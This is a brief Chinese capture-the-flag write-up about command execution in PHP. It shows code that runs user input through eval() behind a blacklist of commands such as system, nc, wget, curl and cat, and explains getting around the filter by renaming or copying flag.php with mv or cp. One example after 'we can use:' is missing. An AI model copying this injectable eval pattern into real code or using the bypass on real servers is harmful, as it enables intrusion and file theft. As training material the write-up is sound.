命令执行:通过更名、复制方式查看flag
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|uniq|nl|head/i', $F)){
eval($F);
}
}
把原题修改的简单的了一点,如果这么写(过滤了全部的查看flag命令),我们该如何查看flag呢?
可以试试mv这种骚操作:
mv flag.php 1.txt
如果符号.被过滤了 也可以该名称tysec下载下来本地查看
就算flag被过滤了,我们也可以使用:

当然除了mv以外,cp命令也是可以的
